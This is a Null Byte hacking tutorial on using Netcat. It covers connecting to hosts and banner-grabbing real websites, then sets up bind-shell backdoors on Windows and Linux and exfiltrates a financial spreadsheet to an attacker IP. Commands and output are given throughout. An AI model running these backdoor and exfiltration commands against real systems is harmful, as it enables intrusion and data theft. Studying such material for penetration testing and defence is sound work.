Hack Like a Pro: How to Use Netcat, the Swiss Army Knife of Hacking Tools « Null Byte :: WonderHowTo

For over 20 years, a tiny but mighty tool has been used by hackers for a wide range of activities. Although well known in hacking circles, Netcat is virtually unknown outside. It's so simple, powerful, and useful that many people within the IT community refer to it as the "Swiss Army knife of hacking tools." We'll look at the capabilities of Netcat and how the aspiring hacker can use it.What Is Netcat, Really?Netcat, like so many hacker tools, was created to be a network analysis tool. Developedin 1995by a fellow only known as "Hobbit," Netcat was given to the IT community without compensation but has received scores of accolades.However, while still useful, it hasnot been maintained, soNmapproduced a modern version of it with more up-to-date features. The new version is called Ncat and, for the most part, has the same commands as Netcat so that they can be used interchangeably.You can use either Netcat or Ncat to open up TCP and UDP connections between two machines over any port your heart desires. Also, these tools can be used for port scanning,similar to Nmap. Netcat and Ncat can be used for port forwarding, proxying, simple web server, and leaving an open backdoor for the hacker, as well.Let's look at some of Netcat's capabilities usingKali Linux. Netcat should be installed, but Ncat might not be. To install either, just use one of the commands below.apt-get install netcat

apt-get install ncatStep 1: Open Netcat's Help ScreenOnce we've fired up our Kali Linux system and opened a terminal, we can use Netcat from any directory since it's located in our bin directory which is in our PATH variable by default. So, let's typenc -hto see its help page.nc -h

[v1.10-41.1]
connect to somewhere:	nc [-options] hostname port[s] [ports] ...
listen for inbound:	nc -l -p port [-options] [hostname] [port]
options:
	-c shell commands	as `-e'; use /bin/sh to exec [dangerous!!]
	-e filename		program to exec after connect [dangerous!!]
	-b			allow broadcasts
	-g gateway		source-routing hop point[s], up to 8
	-G num			source-routing pointer: 4, 8, 12, ...
	-h			this cruft
	-i secs			delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
	-l			listen mode, for inbound connects
	-n			numeric-only IP addresses, no DNS
	-o file			hex dump of traffic
	-p port			local port number
	-r			randomize local and remote ports
	-q secs			quit after EOF on stdin and delay of secs
	-s addr			local source address
	-T tos			set Type Of Service
	-t			answer TELNET negotiation
	-u			UDP mode
	-v			verbose [use twice to be more verbose]
	-w secs			timeout for connects and final net reads
	-C			Send CRLF as line-ending
	-z			zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').And this is for Ncat:ncat -h

Ncat 7.70 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait <time>          Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy <addr[:port]>  Specify address of host to proxy through
      --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")
      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --ssl-alpn             ALPN protocol list to use.
      --version              Display Ncat's version information and exit

See the ncat(1) manpage for full options, descriptions and usage examplesStep 2: Get the Basics Syntax DownAs you can see from the help screen above, the basic syntax for Netcat is the following. (Substitutencforncatif using Ncat instead of Netcat. We will just be usingncfor the rest of this guide.)To connect to another machine:nc options host-IP-address portTo listen for inbound connections:nc -l -p portStep 3: Use Netcat to Connect to a Remote SystemLet's go ahead and use Netcat to connect to a remote system. In this case, we will try to connect to a web server on port 80.nc 192.168.1.105 80That command gives us a TCP connection, by default, to the web server (port 80) at 192.168.1.105. Now, whatever we type, we will be sent directly to the web server when we hitenter.Step 4: Use Netcat to Banner Grab for OS FingerprintingBefore attacking any system, we need to know as much as possible about the target. So, once we have a TCP connection to a web server, we can use Netcat to grab the banner of the web server that's served up to new connections to identify what web-serving software the target is running.A banner grab to the web server can be done with theHEAD / HTTP/1.0command. Be careful and copy exactly as is with the slashes and spaces. Alternatively, if this doesn't work, you can tryHEAD / HTTP/1.1instead.HEAD / HTTP/1.0Hitentera few times and the web server will respond with its banner telling us exactly what software it is running. In this case, we can see that the web server is running Microsoft's IIS 7.5.HTTP/1.1 200 OK
Content-Length: 998
Content-Type: text/html
Content-Location: http://192.168.1.105/index.html
Last-Modified: Wed, 26 Sep 2018 17:59:41 GMT
Accept-Ranges: bytes
Etag: "e245c46986ecc61:93f"
Server: Microsoft-IIS/7.5
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sat, 08 Dec 2018 02:14:35 GMT
Conection: closeWe can use this technique on other public websites, as well. Let's try it on some widely known sites and see what web server software they're running.First, let's try this website,wonderhowto.com. When weping wonderhowto.com, we see that its IP address is 104.193.19.59. So, we throw that into the command, then, after getting a connection, we grab the web server banner. Remember to hitentertwo or three times. As we can see, wonderhowto.com is running its own WonderHowTo server.nc 104.193.19.59 80
HEAD / HTTP/1.0

HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Length: 141
Content-Type: text/html; charset=utf-8
Expires: -1
Location: https://wonderhowto.com/
Server: WonderHowTo
X-UA-Compatible: IE=Edge,chrome=1
X-Server-Name: APP01
X-Content-Type-Options: nosniff
Date: Sat, 08 Dec 2018 02:19:08 GMT
Connection: keep-aliveBut that doesn't seem right. Let's try again withHEAD / HTTP/1.1instead. As seen below, we get a bad request but do see that Microsoft-HTTPAPI/2.0 shows up, which is a common reading when the actual server is a Microsoft-IIS version.nc 104.193.19.59 80
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request
Content-Length: 334
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sat, 08 Dec 2018 03:04:29 GMT
Connection: closeIf we try the same thing withebay.com, we get the results below. As you can see, it runs on an Apache-Coyote.1.1 server.nc 66.135.209.52 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: 49c752f2ba437586596f602605cb5820
Last-Modified: Fri, 8 Dec 2018 01:48:47 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 857
Date: Sat, 08 Dec 2018 02:38:44 GMT
Connection: keep-aliveGo ahead and try it on other websites and find out what server they're running. However, note that it may not work for all sites or you may not see the server information.Step 5: Use Netcat to Listen for ConnectionsNow, let's use Netcat to create a listener on the remote system. Let's assume that we have a Windows server that we have installed Netcat on. We can now type the following to open a Netcat listener on port 6996 (it can be any port) on that system.nc - l -p 6996This has created a "listener" that we can connect to at our leisure.C:\>
C:\>
C:\>
C:\>
C:\>
C:\>nc -l -p 6996Note that on Windows systems, we can run this same command with an upper caseLto create a persistent listener that will open up even if the system is rebooted.Step 6: Create a BackdoorNow, let's create a backdoor on the target system that we can come back to at any time. The command will vary slightly based upon whether we are attacking a Linux or Windows system.For Windows, we use:nc -l -p 6996 -e cmd.exeFor Linux, it's:nc -l -p 6996 -e /bin/bashThis will open a listener on the system that will "pipe" the command shell or the Linux bash shell to the connecting system.Next, on our attacking system, we type the following one-liner. As you can see, the Windows command prompt has been piped through our Netcat connection directly to our attacking system. We own that box!nc 192.168.1.105 6996

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\>Step 7: Copy Files Out (Exfiltrate) from the TargetNetcat can also be used to exfiltrate files and data from the target. Let's imagine that there's data on the target system that we want, maybe financial data or data stored in a database. We can use a stealth connection to slowly copy that data out to our attack system. In this example, we will exfiltrate a file calledfinancialprojections.xls, presumably an Excel file with financial projections.From the source system, we type:type financialprojections.xls | nc 192.168.1.104 6996That command says to display the filefinancialprojections.xls, then pipe (|) it to Netcat (nc) to IP address 192.168.1.104 through port 6996.02/26/2013  05:28 PM     <DIR>          WINDOWS
10/09/2006  03:55 PM     <DIR>          wmpub
               4 Files(s)         59,533 bytes
               8 Dir(s)    4,876,210,176 bytes free

C:\>type financialprojections.xls | nc 192.168.1.104 6996

C:\>type financialprojections.xls | nc 192.168.1.104 6996From the destination system, we type:nc -l -p 6996 > financialprojections.xlsThat command says to create a listener (l) on port (p) 6996, then send the data received on this listener to a file namedfinancialprojections.xls. We can see in the code below, after usingls-l, that the file was copied across our Netcat connection over port 6996 to our attacking machine!ls -l

total 356
drwxr-xr-x 2 root root   4096 2011-05-07 11:46 Desktop
-rw-r--r-- 1 root root    141 2013-09-18 12:25 financialprojections.xls
-rw-r--r-- 1 root root    192 2013-09-02 13:49 replay_arp-0902-133213.cap
-rw-r--r-- 1 root root      0 2013-09-02 16:08 snortlog
-rw-r--r-- 1 root root 338111 2013-09-02 13:49 WEPcrack-01.cap
-rw-r--r-- 1 root root    575 2013-09-02 13:49 WEPcrack-01.csv
-rw-r--r-- 1 root root    582 2013-09-02 13:49 WEPcrack-01.kismet.csv
-rw-r--r-- 1 root root   3660 2013-09-02 13:49 WEPcrack-01.kismet.netxmlThis is just a small sample of what this powerful little program can do. When you combine it with some basic scripting skills, you can only imagine the incredible things that can be accomplished.Don't Miss:Hacking macOS: How to Configure a Backdoor on Anyone's MacBookFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo viaShutterstockRelatedHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHow To:Pick a lock with a Swiss army knifeHow To:Take Control of Your iOS Data with This All-in-One Management AppHow To:Open a can using a Swiss Army KnifeHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)How To:Use a Swiss Army knife cork screw to open wineHow To:Sharpen a swiss army knifeHow To:Use a can opener on your Swiss Army knifeHow To:Pick a lock with a Swiss Army tweezer and safety pinHow To:Say the names of weapons in FrenchHow To:Use the Bottle Opener on a Swiss Army Knife to Pop Off Bottle CapsHow To:Open a bottle of wine with a Swiss Army knifeHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsFood Tool Friday:One Knife to Rule Them AllFood Tool Friday:This $9 Idiot-Proof Knife Sharpener Gets Amazing ResultsCES 2015:The Swiss Army Knife of Sports Bottles Plays Music & Holds Your Phone, Cash, Keys, & MoreHow To:Use a Swiss Army knife can openerHow To:This Quick & Easy Shortcut Minces Garlic in SecondsHow To:Hack with GNU NetcatHow To:Make Any Cutting Board Non-Slip with This Easy HackHow To:Carve a net needle out of woodHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Shuck an Oyster Without an Oyster KnifeHow To:Exploit PHP File Inclusion in Web AppsAppWererabbit:The Swiss Army Knife of App Managers for Your Galaxy Note 3How To:Create homemade CGI match move with PFTrackHow To:Shut Down & Restart the iPhoneXS, iPhoneXSMax & iPhoneXRFood Tool Friday:Why Pros Use Carbon Steel KnivesHow To:Style your hair with gelHow To:Throw an Australian boomerang correctlyHow To:Hack Wi-Fi Networks with BettercapHow To:Install a Persistant Backdoor in Windows Using NetcatHow To:Turn Your Samsung Galaxy S3, Note 2, and Other Android Devices into Wi-Fi Computer MiceHow To:Optimize Your Apple Computer with 1,200 Features for Under $40How To:Knives Too Dull? Use These Hacks to Cut, Chop, Peel & Mince Without a BladeHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:More Unreleased goodies discoveredHow To:Trade in Your Bulky Set of Keys for This Simple DIY Swiss Army-Style KeychainNews:coconut swiss roll